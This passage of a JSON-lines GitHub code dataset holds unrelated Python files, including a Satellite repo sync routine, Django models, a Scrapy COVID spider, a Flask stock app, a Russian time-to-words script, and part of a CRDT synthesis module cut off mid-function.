{i['repository_set']}\")\n              for x in range(multiplier - 1):\n                bar(\"Skipping\")\n              continue\n            repo = filtered_repos[0]\n            self.log_bar(f\"Looking for repo-set: {repo.label}\", bar)\n            if len(repo.repositories) == 0:\n              attributes = {\"basearch\": config_keys[\"arch\"],\n                            \"organization_id\": self.org.item.id}\n              if \"releasever\" in i:\n                attributes[\"releasever\"] = i[\"releasever\"]\n              log.debug(f\"Enabling {self.entity} {attributes}\")\n              try:\n                self.log_bar(f\"Enabling {repo.label}\", bar)\n                repo.enable(data=attributes)\n              except HTTPError as err:\n                if err.response.status_code == 409:\n                  log.warning(f\"{self.entity} {repo.label} already enabled...\")\n                else:\n                  log.error(f\"Error creating {self.entity}: \"\n                            f\"{err.response.status_code} {err.response._content}\")\n            else:\n              log.debug(\"Repository {repo.label} already enabled\")\n              self.log_bar(f\"Skipped {repo.label}\", bar)\n            self.log_bar(\"Updating sync plan\", bar)\n            if \"daily\" in i[\"sync_plan\"]:\n              planinc += 1\n              plan_id = plan_map[planinc % 6]\n            else:\n              plan_id = sync_plans.get(i[\"sync_plan\"]).id\n            repo.product.sync_plan_id = plan_id\n            repo.product.update()\n            if sync:\n              self.log_bar(f\"Syncing {repo.label}\", bar)\n              repo.product.sync(\n                synchronous=self._cfg.satellite.getboolean(\"async_sync\"))\n","repo_name":"valleedelisle/forge","sub_path":"forge/entities/repository_set.py","file_name":"repository_set.py","file_ext":"py","file_size_in_byte":4130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"21198658964","text":"'''\nTitle     : sWAP cASE\nSubdomain : Strings\nDomain    : Python\nAuthor    : Ahmedur Rahman Shovon\nCreated   : 15 July 2016\nProblem   : https://www.hackerrank.com/challenges/swap-case/problem\n'''\n__author__ = 'arsho'\ndef swap_case(s):\n    newstring = \"\"\n    \n    for item in s:\n        if item.isupper():\n            newstring += item.lower()\n        else:\n            newstring += item.upper()\n            \n    return newstring\n","repo_name":"syurskyi/Algorithms_and_Data_Structure","sub_path":"_algorithms_challenges/hackerrank/Hackerrank_Python/Strings/sWAPcASE.py","file_name":"sWAPcASE.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"}
{"seq_id":"30626092052","text":"from django.db import models\n\n\n\nNACIONALIDAD = (('mx', 'Mexicana'), ('usa', 'Estadounidense'),\n                ('es', 'Española'), ('co', 'Colombia'))\n\n\n# Create your models here.\nclass Autor(models.Model):\n    nombre = models.CharField(verbose_name='Nombre del autor', max_length=80)\n    apellidos = models.CharField(verbose_name='Apellidos', max_length=80)\n    pseudonimo = models.CharField(verbose_name='Pseudónimo', max_length=100)\n    # nacionalidad = models.CharField(verbose_name='Nacionalidad', max_length=100)\n    nacionalidad = models.CharField(choices=NACIONALIDAD, verbose_name='Nacionalidad',\n                                    max_length=100, default='mx')\n    fechaNacimiento = models.DateField(verbose_name='Fecha de nacimiento')\n    fechaFallecimiento = models.DateField(verbose_name='Fecha de fallecimiento', null=True, blank=True)\n    foto = models.ImageField(verbose_name='Imagen del autor', upload_to='images/autor/foto')\n\n    def __str__(self):\n        return \"{0} {1} -- {2}\".format(self.nombre, self.apellidos, self.nacionalidad)\n    \n    class Meta:\n        verbose_name = 'Autor'\n        verbose_name_plural = 'Autores'\n\n\nclass Editorial(models.Model):\n    nombre = models.CharField(verbose_name='Editorial', max_length=100, unique=True)\n    telefono = models.CharField(verbose_name='teléfono', max_length=15, null=True, unique=True)\n\n    def __str__(self):\n        return self.nombre\n    \n    class Meta:\n        verbose_name = 'Editorial'\n        verbose_name_plural = 'Editoriales'\n\n\nclass Libro(models.Model):\n    titulo = models.CharField(verbose_name=\"Título del libro\", max_length=255)\n    autor = models.ForeignKey(Autor, verbose_name='Elija al autor', on_delete=models.SET_NULL, null=True, blank=True)\n    editorial = models.ForeignKey(Editorial, verbose_name='Elija la editorial', on_delete=models.SET_NULL, null=True, blank=True)\n    sinopsis = models.TextField(verbose_name=\"Sinopsis\", max_length=500)\n    portada = models.ImageField(verbose_name=\"Portada de libro\", upload_to='images/libro/portadas/', null=True, blank=True)\n    isbn = models.CharField(verbose_name='ISBN', max_length=20, unique=True, null=True, blank=True)\n\n    # def __str__(self):\n    #     return \"{0} - {1}\".format(self.titulo, self.sinopsis)\n\n    class Meta:\n        verbose_name = 'Libro'\n        verbose_name_plural = 'Libros'\n\n\n\n","repo_name":"edgardegantea/djangocursoweb","sub_path":"biblioteca/gestion/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2349,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"2697452196","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport math\n\n\ndef cylinder():\n    r = float(input(\"Введите радиус: \"))\n    h = float(input(\"Введите высоту: \"))\n    s_side = 2 * math.pi * r * h\n\n    def circle():\n        s_circle = math.pi * r ** 2\n        return s_circle\n\n    check = input(\"Введите Y для бок. площ. или N для всей площ.: \")\n    if check == \"Y\":\n        print(f\"Бок. площ. цилиндра: {s_side}\")\n    else:\n        full_area = s_side + circle() * 2\n        print(f\"Полная площ. цилиндра: {full_area}\")\n\n\nif __name__ == \"__main__\":\n    cylinder()","repo_name":"AndrejMirrox/labor-11","sub_path":"PyCharm/2_task.py","file_name":"2_task.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"339056560","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport json\nfrom COVID_19.items import Covid19Item\n\nclass Covid19Spider(scrapy.Spider):\n    name = 'covid19'\n    allowed_domains = ['https://c.m.163.com/ug/api/wuhan/app/data/list-total?t=317249238170']\n    start_urls = ['https://c.m.163.com/ug/api/wuhan/app/data/list-total?t=317249238170/']\n\n    def parse(self, response):\n        data = json.loads(response.text)\n        item = Covid19Item()\n        for country in data['data']['areaTree']:\n            item['name']= country['name']\n            today_dict = country['today']\n            total_dict = country['total']\n\n            item['today_confirm'] = today_dict['confirm'] if (today_dict['confirm'] != None) else 0\n            item['today_suspect'] = today_dict['suspect'] if (today_dict['suspect'] != None) else 0\n            item['today_heal'] = today_dict['heal'] if (today_dict['heal'] != None) else 0\n            item['today_dead'] = today_dict['dead'] if (today_dict['dead'] != None) else 0\n\n            item['total_confirm'] = total_dict['confirm'] if (total_dict['confirm'] != None) else 0\n            item['total_suspect'] = total_dict['suspect'] if (total_dict['suspect'] != None) else 0\n            item['total_heal'] = total_dict['heal'] if (total_dict['heal'] != None) else 0\n            item['total_dead'] = total_dict['dead'] if (total_dict['dead'] != None) else 0\n            item['now_confirm'] = item['total_confirm'] - item['total_heal'] - item['total_dead']\n            yield item\n            # print(\"国家:\" + str(name) + \",今日确诊:\" + str(today_confirm) + \",今日疑似:\" + str(today_suspect) + \",今日治愈:\"\n            #       + str(today_heal) + \",今日死亡:\" + str(today_dead) + \",累计确诊:\" + str(total_confirm) + \",累计疑似:\" + str(\n            #     total_suspect) +\n            #       \",累计治愈:\" + str(total_heal) + \",累计死亡:\" + str(total_dead) + \",现有确诊:\" + str(now_confirm))\n","repo_name":"EEEEEEcho/COVID_19","sub_path":"COVID_19/spiders/covid19.py","file_name":"covid19.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"12364575054","text":"from flask import Flask,render_template,request\nimport datasource\nimport plotly.express as px\nimport json\nimport plotly\n\n\napp = Flask(__name__)\n@app.route(\"/\",methods=['GET','POST'])\ndef index():\n    rows = datasource.get_stockid()\n    if request.method == 'POST':\n        stock_name = request.form['stock_name']  #1203-味王\n        stock_id = stock_name[:4]\n        year =  request.form['year']\n        stock_dataFrame = datasource.get_stock_data(stockid=stock_id,year=year)  \n        stock_data = stock_dataFrame.to_numpy().tolist()\n        #plotly express\n        fig = px.line(stock_dataFrame,x=\"Date\",y=\"Adj Close\",title=f'{stock_name}_{year}')\n        graphJSON = json.dumps(fig,cls=plotly.utils.PlotlyJSONEncoder)\n        return render_template(\"form.jinja.html\",rows=rows,stock_name=stock_name,year=year,data=stock_data,graphJSON=graphJSON)  \n    return render_template(\"form.jinja.html\",rows=rows)\n\n\n@app.route(\"/features\")\ndef features():\n    \n    return render_template(\"features.jinja.html\")\n\n@app.route(\"/priceing\")\ndef priceing():\n    \n    return render_template(\"priceing.jinja.html\")\n\n@app.route(\"/about\")\ndef about():\n    return render_template(\"about.jinja.html\")\n\n@app.route(\"/form/\",methods=['GET', 'POST'])\ndef form():\n    rows = datasource.get_stockid()\n    if request.method == 'POST':\n        stock_name = request.form['stock_name']  #1203-味王\n        stock_id = stock_name[:4]\n        stock_data = datasource.get_stock_data(stockid=stock_id)\n        year =  request.form['year']\n        return render_template(\"form.jinja.html\",rows=rows,stock_name=stock_name,year=year,data=stock_data)\n    \n    \n    return render_template(\"form.jinja.html\",rows=rows)\n    \n\n\n\n\n\n    \n","repo_name":"roberthsu2003/pythonFlask","sub_path":"實際案例/歷年股票資訊查詢/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"36"}
{"seq_id":"24593228966","text":"import datetime\n\nx = input(\"Введите время в формате hh:mm\\n\")\n\nif not x:\n    current_datetime = datetime.datetime.now()\n    x = current_datetime.strftime(\"%H:%M\")\n\nx = x.split(':')\nhh = int(x[0])\nmm = int(x[1])\n\ntry:\n    if hh < 0 or hh > 23 or mm < 0 or mm > 59:\n        raise ValueError\nexcept ValueError:\n    print(\"Ошибка: некорректный формат времени\")\n    exit()\n\nm1 = {\n    1: 'одна', 2: 'две', 3: 'три', 4: 'четыре', 5: 'пять', 6: 'шесть', 7: 'семь', 8: 'восемь', 9: 'девять', 10: 'десять',\n    11: 'одиннадцать', 12: 'двенадцать', 13: 'тринадцать', 14: 'четырнадцать', 15: 'пятнадцать', 16: 'шеснадцать',\n    17: 'семнадцать', 18: 'восемнадцать', 19: 'девятнадцать', 20: 'двадцать', 21: 'двадцать одна', 22: 'двадцать две',\n    23: 'двадцать три', 24: 'двадцать четыре', 25: 'двадцать пять', 26: 'двадцать шесть', 27: 'двадцать семь',\n    28: 'двадцать восемь', 29: 'двадцать девять', 31: 'тридцать одна', 32: 'тридцать две', 33: 'тридцать три',\n    34: 'тридцать четыре', 35: 'тридцать пять', 36: 'тридцать шесть', 37: 'тридцать семь', 38: 'тридцать восемь',\n    39: 'тридцать девять', 40: 'сорок', 41: 'сорок одна', 42: 'сорок две', 43: 'сорок три', 44: 'сорок четыре',\n    45: 'пятнадцати', 46: 'четырнадцати', 47: 'тринадцати', 48: 'двенадцати', 49: 'одиннадцати', 50: 'десяти',\n    51: 'девяти', 52: 'восьми', 53: 'семи', 54: 'шести', 55: 'пяти', 56: 'четырех', 57: 'трех', 58: 'двух', 59: 'одной'\n}\n\nh1 = {\n    1: 'второго', 2: 'третьего', 3: 'четвертого', 4: 'пятого', 5: 'шестого', 6: 'седьмого', 7: 'восьмого', 8: 'девятого',\n    9: 'десятого', 10: 'одиннадцатого', 11: 'двенадцатого', 12: 'первого', 13: 'второго', 14: 'третьего', 15: 'четвертого',\n    16: 'пятого', 17: 'шестого', 18: 'седьмого', 19: 'восьмого', 20: 'девятого', 21: 'десятого', 22: 'одиннадцатого',\n    23: 'двенадцатого', 00: 'первого'\n}\n\nh2 = {\n    00: 'двенадцать', 1: 'один', 2: 'два', 3: 'три', 4: 'четыре', 13: 'один', 14: 'два', 15: 'три', 16: 'четыре',\n    17: 'пять', 18: 'шесть', 19: 'семь', 20: 'восемь', 21: 'девять', 22: 'десять', 23: 'одиннадцать', 24: 'двенадцать'\n}\n\nif mm == 0 and hh == 1:\n    print(f\"{h2[hh]} час ровно\")\nelif mm == 0 and hh == 13:\n    print(f\"{h2[hh]} час ровно\")\nelif mm == 0 and hh == 0:\n    print(f\"{h2[hh]} часов ровно\")\nelif mm == 0 and 5 <= hh <= 12:\n    print(f\"{m1[hh]} часов ровно\")\nelif mm == 0 and 17 <= hh <= 23:\n    print(f\"{h2[hh]} часов ровно\")\nelif mm == 0 and 2 <= hh <= 4:\n    print(f\"{h2[hh]} часа ровно\")\nelif mm == 0 and 14 <= hh <= 16:\n    print(f\"{h2[hh]} часа ровно\")\nelif mm == 30:\n    print(f\"половина {h1[hh]}\")\nelif mm == 1 or mm == 21 or mm == 31 or mm == 41:\n    print(f\"{m1[mm]} минута {h1[hh]}\")\nelif 2 <= mm <= 4 or 22 <= mm <= 24 or 32 <= mm <= 34 or 42 <= mm <= 44:\n    print(f\"{m1[mm]} минуты {h1[hh]}\")\nelif 5 <= mm <= 20 or 25 <= mm <= 29 or 35 <= mm <= 40:\n    print(f\"{m1[mm]} минут {h1[hh]}\")\nelif mm == 59 and hh == 0:\n    print(f\"без {m1[mm]} минуты час\")\nelif mm == 59 and hh == 12:\n    print(f\"без {m1[mm]} минуты час\")\nelif mm >= 45 and (hh == 0 or hh == 12):\n    print(f\"без {m1[mm]} минут час\")\nelif mm >= 45 and 5 <= hh <= 11:\n    print(f\"без {m1[mm]} минут {m1[hh + 1]}\")\nelse:\n    print(f\"без {m1[mm]} минут {h2[hh + 1]}\")\n","repo_name":"MikitaTsiarentsyeu/Md-PT1-69-23","sub_path":"Tasks/Svintsou/Task_2/task_2.1.py","file_name":"task_2.1.py","file_ext":"py","file_size_in_byte":4208,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"72766015464","text":"\nfrom cProfile import label\nfrom distutils.file_util import write_file\nfrom unicodedata import ucd_3_2_0\nimport numpy as np\nfrom matplotlib import pyplot\n\nl=2 #in meter\n\nnx=41\ndx=(l/(nx-1))\n\nny=nx\ndy=(l/(ny-1))\n\nnt=5\nsigma=0.3\ndt=sigma * dx\n\nx=np.linspace(0,l,nx)\ny=np.linspace(0,l,ny)\n\n\nu=np.zeros((ny,nx))\nv=np.zeros((ny,nx))\n\nun=np.zeros((ny,nx))\nvn=np.zeros((ny,nx))\n\nu[int(0.5/dy):int(1/dy+1),int(0.5/dx):int(1/dx+1)]=2  #IC\nv[int(0.5/dy):int(1/dy+1),int(0.5/dx):int(1/dx+1)]=2  #IC\n\nun=np.ones(nx)\nprint(u)\n\nfor n in range(nt):\n    un=u.copy() #updateing un\n    for j in range(1,ny-1):\n        for i in range(1,nx-1):\n            u[j,i]=un[j,i] - (un[j,i]*dt/dx) * (un[j,i] - un[j,i-1]) -(vn[j,i]*dt/dy) * (un[j,i] - un[j,i-1])\n    u[0, :] = 1\n    u[-1, :] = 1\n    u[:, 0] = 1\n    u[:, -1] = 1\n    \n    v[0, :] = 1\n    v[-1, :] = 1\n    v[:, 0] = 1\n    v[:, -1] = 1    \n\n\n  \nfig = pyplot.figure(figsize=(11, 7), dpi=100)\nax = fig.gca(projection='3d')\nX, Y = np.meshgrid(x, y)\n\nax.plot_surface(X, Y, u, cmap=cm.viridis, rstride=2, cstride=2)\nax.set_xlabel('$x$')\nax.set_ylabel('$y$');","repo_name":"arezayan/cfd","sub_path":"1D_nonLinear.py","file_name":"1D_nonLinear.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"43650695438","text":"import functions\nimport api\nfrom character import Character\n\ndef parse_input(inputstr):\n    \"\"\"\n    Parse the input\n    \"\"\"\n    word_list = inputstr.split()\n\n    if word_list[0] == 'roll':\n        functions.roll(word_list[1:])\n\n    elif word_list[0] == 'search':\n        api.search(word_list[1:])\n\n    elif word_list[0] == 'load':\n        return functions.load_char(word_list[1:])\n\n\nif __name__ == \"__main__\":\n    loaded_char = None\n    inputstr = \"\"\n\n    while inputstr != \"quit\":\n        inputstr = input(\"\\n\\nEnter command: \")\n        print(\"\")\n        output = parse_input(inputstr)\n        if type(output) == Character:\n            loaded_char = output","repo_name":"tinouye/DnD-app","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"4006903917","text":"import os\n\nfrom metalift.analysis_new import VariableTracker, analyze\nfrom metalift.ir import *\n\nimport typing\nfrom typing import Callable, Union, Protocol\n\nfrom metalift.synthesis_common import SynthesisFailed, VerificationFailed\n\n\ndef observeEquivalence(\n    inputState: Expr, synthState: Expr, queryParams: typing.List[Var]\n) -> Expr:\n    return Call(\"equivalence\", Bool(), inputState, synthState, *queryParams)\n\n\ndef opsListInvariant(\n    fnNameBase: str, synthState: Expr, synthStateType: Type, opType: Type\n) -> Expr:\n    return And(\n        Eq(\n            Call(\n                \"apply_state_transitions\",\n                synthStateType,\n                TupleGet(synthState, IntLit(len(synthStateType.args) - 1)),\n                Var(\n                    f\"{fnNameBase}_next_state\",\n                    FnT(synthStateType, synthStateType, *opType.args),\n                ),\n                Var(\n                    f\"{fnNameBase}_init_state\",\n                    FnT(synthStateType),\n                ),\n            ),\n            synthState,\n        ),\n        Call(\n            \"ops_in_order\",\n            Bool(),\n            TupleGet(synthState, IntLit(len(synthStateType.args) - 1)),\n        ),\n    )\n\n\ndef supportedCommand(synthState: Expr, args: typing.Any) -> Expr:\n    return Call(\"supportedCommand\", Bool(), synthState, *args)\n\n\ndef unpackOp(op: Expr) -> typing.List[Expr]:\n    if op.type.name == \"Tuple\":\n        return [TupleGet(op, IntLit(i)) for i in range(len(op.type.args))]\n    else:\n        return [op]\n\n\ndef opListAdditionalFns(\n    synthStateType: Type,\n    opType: Type,\n    initState: Callable[[], Expr],\n    inOrder: Callable[[typing.Any, typing.Any], Expr],\n    opPrecondition: Callable[[typing.Any], Expr],\n) -> typing.List[Union[FnDecl, FnDeclNonRecursive, Axiom]]:\n    def list_length(l: Expr) -> Expr:\n        return Call(\"list_length\", Int(), l)\n\n    def list_get(l: Expr, i: Expr) -> Expr:\n        return Call(\"list_get\", opType, l, i)\n\n    def list_tail(l: Expr, i: Expr) -> Expr:\n        return Call(\"list_tail\", ListT(opType), l, i)\n\n    data = Var(\"data\", ListT(opType))\n    next_state_fn = Var(\n        \"next_state_fn\",\n        FnT(\n            synthStateType,\n            synthStateType,\n            *(opType.args if opType.name == \"Tuple\" else [opType]),\n        ),\n    )\n\n    init_state_fn = Var(\"init_state_fn\", FnT(synthStateType))\n\n    reduce_fn = FnDecl(\n        \"apply_state_transitions\",\n        synthStateType,\n        Ite(\n            Eq(list_length(data), IntLit(0)),\n            CallValue(init_state_fn),\n            CallValue(\n                next_state_fn,\n                Call(\n                    \"apply_state_transitions\",\n                    synthStateType,\n                    list_tail(data, IntLit(1)),\n                    next_state_fn,\n                    init_state_fn,\n                ),\n                *(\n                    [\n                        # TODO(shadaj): unnecessary cast\n                        typing.cast(\n                            Expr, TupleGet(list_get(data, IntLit(0)), IntLit(i))\n                        )\n                        for i in range(len(opType.args))\n                    ]\n                    if opType.name == \"Tuple\"\n                    else [list_get(data, IntLit(0))]\n                ),\n            ),\n        ),\n        data,\n        next_state_fn,\n        init_state_fn,\n    )\n\n    next_op = Var(\"next_op\", opType)\n    ops_in_order_helper = FnDecl(\n        \"ops_in_order_helper\",\n        Bool(),\n        And(\n            opPrecondition(unpackOp(next_op)),\n            Ite(\n                Eq(list_length(data), IntLit(0)),\n                BoolLit(True),\n                And(\n                    inOrder(unpackOp(list_get(data, IntLit(0))), unpackOp(next_op)),\n                    Call(\n                        \"ops_in_order_helper\",\n                        Bool(),\n                        list_get(data, IntLit(0)),\n                        list_tail(data, IntLit(1)),\n                    ),\n                ),\n            ),\n        ),\n        next_op,\n        data,\n    )\n\n    ops_in_order = FnDecl(\n        \"ops_in_order\",\n        Bool(),\n        Ite(\n            Eq(list_length(data), IntLit(0)),\n            BoolLit(True),\n            Call(\n                \"ops_in_order_helper\",\n                Bool(),\n                list_get(data, IntLit(0)),\n                list_tail(data, IntLit(1)),\n            ),\n        ),\n        data,\n    )\n\n    return [reduce_fn, ops_in_order_helper, ops_in_order]\n\n\nclass SynthesizeFun(Protocol):\n    def __call__(\n        self,\n        basename: str,\n        targetLang: typing.List[Union[FnDecl, FnDeclNonRecursive, Axiom]],\n        vars: typing.Set[Var],\n        invAndPs: typing.List[Synth],\n        preds: Union[str, typing.List[Expr]],\n        vc: Expr,\n        loopAndPsInfo: typing.List[Expr],\n        cvcPath: str = \"cvc5\",\n        uid: int = 0,\n        noVerify: bool = False,\n        unboundedInts: bool = False,\n        optimize_vc_equality: bool = False,\n        listBound: int = 2,\n        log: bool = True,\n    ) -> typing.List[FnDecl]:\n        ...\n\n\ndef synthesize_crdt(\n    filename: str,\n    fnNameBase: str,\n    loopsFile: str,\n    cvcPath: str,\n    synthStateType: Type,\n    initState: Callable[[], Expr],\n    grammarStateInvariant: Callable[[Expr, int, int], Expr],\n    grammarSupportedCommand: Callable[[Expr, typing.Any, int, int], Expr],\n    inOrder: Callable[[typing.Any, typing.Any], Expr],\n    opPrecondition: Callable[[typing.Any], Expr],\n    grammar: Callable[[Expr, typing.List[Var], int], Expr],\n    grammarQuery: Callable[[str, typing.List[Var], Type, int], Synth],\n    grammarEquivalence: Callable[[Expr, Expr, typing.List[Var], int], Expr],\n    targetLang: Callable[[], typing.List[Union[FnDecl, FnDeclNonRecursive, Axiom]]],\n    synthesize: SynthesizeFun,\n    stateTypeHint: typing.Optional[Type] = None,\n    opArgTypeHint: typing.Optional[typing.List[Type]] = None,\n    queryArgTypeHint: typing.Optional[typing.List[Type]] = None,\n    queryRetTypeHint: typing.Optional[Type] = None,\n    uid: int = 0,\n    unboundedInts: bool = True,\n    useOpList: bool = False,\n    listBound: int = 1,\n    baseDepth: int = 2,\n    invariantBoost: int = 0,\n    log: bool = True,\n    skipSynth: bool = False,\n) -> typing.List[FnDecl]:\n    basename = os.path.splitext(os.path.basename(filename))[0]\n\n    tracker = VariableTracker()\n\n    state_transition_analysis = analyze(\n        filename,\n        fnNameBase + \"_next_state\",\n        loopsFile,\n    )\n\n    query_analysis = analyze(\n        filename,\n        fnNameBase + \"_response\",\n        loopsFile,\n    )\n\n    origSynthStateType = synthStateType\n\n    op_arg_types = (\n        [v.type for v in state_transition_analysis.arguments[1:]]\n        if opArgTypeHint is None\n        else opArgTypeHint\n    )\n    opType = TupleT(*op_arg_types) if len(op_arg_types) > 1 else op_arg_types[1]\n\n    if useOpList:\n        synthStateType = TupleT(*synthStateType.args, ListT(opType))\n\n    queryParameterTypes = (\n        [v.type for v in query_analysis.arguments[1:]]\n        if queryArgTypeHint is None\n        else queryArgTypeHint\n    )\n\n    def supportedCommandWithList(synthState: Expr, args: typing.Any) -> Expr:\n        return And(\n            opPrecondition(args),\n            Ite(\n                Eq(\n                    Call(\n                        \"list_length\",\n                        Int(),\n                        TupleGet(synthState, IntLit(len(synthStateType.args) - 1)),\n                    ),\n                    IntLit(0),\n                ),\n                BoolLit(True),\n                inOrder(\n                    unpackOp(\n                        Call(\n                            \"list_get\",\n                            opType,\n                            TupleGet(synthState, IntLit(len(synthStateType.args) - 1)),\n                            IntLit(0),\n                        )\n                    ),\n                    args,\n                ),\n            ),\n        )\n\n    seq_start_state = tracker.variable(\n        \"seq_start_state\", state_transition_analysis.arguments[0].type\n    )\n    synth_start_state = tracker.variable(\"synth_start_state\", synthStateType)\n    equivalence_query_vars = [\n        tracker.variable(\n            f\"start_state_query_var_{i}\", query_analysis.arguments[i + 1].type\n        )\n        for i in range(len(query_analysis.arguments) - 1)\n    ]\n\n    synth_after_op = tracker.variable(\"synth_after_op\", synthStateType)\n\n    first_op_group = tracker.group(\"first_op\")\n    first_op_args = [\n        first_op_group.variable(v.name(), t)\n        for v, t in zip(state_transition_analysis.arguments[1:], op_arg_types)\n    ]\n\n    second_op_group = tracker.group(\"second_op\")\n    second_op_args = [\n        second_op_group.variable(v.name(), t)\n        for v, t in zip(state_transition_analysis.arguments[1:], op_arg_types)\n    ]\n\n    vcStateTransition = state_transition_analysis.call(seq_start_state, *first_op_args)(\n        tracker,\n        lambda seq_after_op: Implies(\n            And(\n                observeEquivalence(\n                    seq_start_state, synth_start_state, equivalence_query_vars\n                ),\n                *(\n                    [\n                        opsListInvariant(\n                            fnNameBase, synth_start_state, synthStateType, opType\n                        ),\n                        supportedCommandWithList(synth_start_state, first_op_args),\n                    ]\n                    if useOpList\n                    else [\n                        opPrecondition(first_op_args),\n                        supportedCommand(synth_start_state, first_op_args),\n                    ]\n                ),\n                Eq(\n                    synth_after_op,\n                    Call(\n                        f\"{fnNameBase}_next_state\",\n                        synthStateType,\n                        synth_start_state,\n                        *first_op_args,\n                    ),\n                ),\n            ),\n            query_analysis.call(seq_start_state, *equivalence_query_vars)(\n                tracker,\n                lambda seqQueryResult: Implies(\n                    Eq(\n                        seqQueryResult,\n                        Call(\n                            f\"{fnNameBase}_response\",\n                            seqQueryResult.type,\n                            synth_start_state,\n                            *equivalence_query_vars,\n                        ),\n                    ),\n                    And(\n                        observeEquivalence(\n                            seq_after_op, synth_after_op, equivalence_query_vars\n                        ),\n                        query_analysis.call(seq_after_op, *equivalence_query_vars)(\n                            tracker,\n                            lambda seqQueryResult: Eq(\n                                seqQueryResult,\n                                Call(\n                                    f\"{fnNameBase}_response\",\n                                    seqQueryResult.type,\n                                    synth_after_op,\n                                    *equivalence_query_vars,\n                                ),\n                            ),\n                        ),\n                        *(\n                            [\n                                Implies(\n                                    And(\n                                        inOrder(first_op_args, second_op_args),\n                                        opPrecondition(second_op_args),\n                                    ),\n                                    supportedCommand(synth_after_op, second_op_args),\n                                )\n                            ]\n                            if not useOpList\n                            else []\n                        ),\n                    ),\n                ),\n            ),\n        ),\n    )\n\n    # define synthesis problem for state transition\n    cur_state_param = Var(\"cur_state\", synthStateType)\n\n    op_arg_vars = [\n        Var(v.name(), t)\n        for v, t in zip(state_transition_analysis.arguments[1:], op_arg_types)\n    ]\n\n    stateTransitionSynthNode = grammar(\n        cur_state_param,\n        op_arg_vars,\n        baseDepth,\n    )\n\n    invAndPsStateTransition = (\n        [\n            Synth(\n                fnNameBase + \"_next_state\",\n                Tuple(\n                    # the grammar directly produces the tupled next state, unpack to tack on the op-list\n                    *stateTransitionSynthNode.args,\n                    Call(\n                        \"list_prepend\",\n                        ListT(opType),\n                        Tuple(*op_arg_vars) if len(op_arg_vars) > 1 else op_arg_vars[0],\n                        TupleGet(\n                            cur_state_param,\n                            IntLit(len(synthStateType.args) - 1),\n                        ),\n                    ),\n                ),\n                cur_state_param,\n                *op_arg_vars,\n            )\n        ]\n        if useOpList\n        else [\n            Synth(\n                fnNameBase + \"_next_state\",\n                stateTransitionSynthNode,\n                cur_state_param,\n                *op_arg_vars,\n            )\n        ]\n    )\n    # end state transition (in order)\n\n    # begin query\n    invAndPsQuery = [\n        grammarQuery(\n            query_analysis.name,\n            [Var(query_analysis.arguments[0].name(), synthStateType)]\n            + (\n                [\n                    Var(query_analysis.arguments[i + 1].name(), queryArgTypeHint[i])\n                    for i in range(len(queryArgTypeHint))\n                ]\n                if queryArgTypeHint\n                else query_analysis.arguments[1:]\n            ),\n            query_analysis.return_type\n            if queryRetTypeHint is None\n            else queryRetTypeHint,\n            baseDepth,\n        )\n    ]\n    # end query\n\n    # begin init state\n    initState_analysis = analyze(\n        filename,\n        fnNameBase + \"_init_state\",\n        loopsFile,\n    )\n\n    synthInitState = tracker.variable(\"synth_init_state\", synthStateType)\n\n    init_op_arg_vars = []\n    for i, typ in enumerate(op_arg_types):\n        init_op_arg_vars.append(tracker.variable(f\"init_op_arg_{i}\", typ))\n\n    queryParamVars = [\n        tracker.variable(\n            f\"init_state_equivalence_query_param_{i}\",\n            query_analysis.arguments[i + 1].type,\n        )\n        for i in range(len(query_analysis.arguments) - 1)\n    ]\n\n    vcInitState = initState_analysis.call()(\n        tracker,\n        lambda seqInitialState: Implies(\n            Eq(synthInitState, Call(f\"{fnNameBase}_init_state\", synthStateType)),\n            And(\n                observeEquivalence(seqInitialState, synthInitState, queryParamVars),\n                query_analysis.call(seqInitialState, *queryParamVars)(\n                    tracker,\n                    lambda seqQueryResult: Eq(\n                        seqQueryResult,\n                        Call(\n                            f\"{fnNameBase}_response\",\n                            seqQueryResult.type,\n                            synthInitState,\n                            *queryParamVars,\n                        ),\n                    ),\n                ),\n                BoolLit(True)\n                if useOpList\n                else Implies(\n                    opPrecondition(init_op_arg_vars),\n                    supportedCommand(synthInitState, init_op_arg_vars),\n                ),\n            ),\n        ),\n    )\n\n    initStateSynthNode = initState()\n    invAndPsInitState = [\n        Synth(\n            fnNameBase + \"_init_state\",\n            Tuple(\n                *initStateSynthNode.args,\n                Call(\"list_empty\", ListT(opType)),\n            )\n            if useOpList\n            else Tuple(\n                *initStateSynthNode.args,\n            ),\n        )\n    ]\n    # end init state\n\n    # begin equivalence\n    inputStateForEquivalence = Var(\n        \"inputState\",\n        state_transition_analysis.arguments[0].type\n        if stateTypeHint is None\n        else stateTypeHint,\n    )\n    synthStateForEquivalence = Var(\"synthState\", synthStateType)\n\n    equivalenceQueryParams = [\n        Var(f\"equivalence_query_param_{i}\", queryParameterTypes[i])\n        for i in range(len(queryParameterTypes))\n    ]\n\n    invAndPsEquivalence = [\n        Synth(\n            \"equivalence\",\n            And(\n                grammarEquivalence(\n                    inputStateForEquivalence,\n                    synthStateForEquivalence,\n                    equivalenceQueryParams,\n                    baseDepth,\n                ),\n                *(\n                    [\n                        grammarStateInvariant(\n                            synthStateForEquivalence, baseDepth, invariantBoost\n                        )\n                    ]\n                    if not useOpList\n                    else []\n                ),\n            ),\n            inputStateForEquivalence,\n         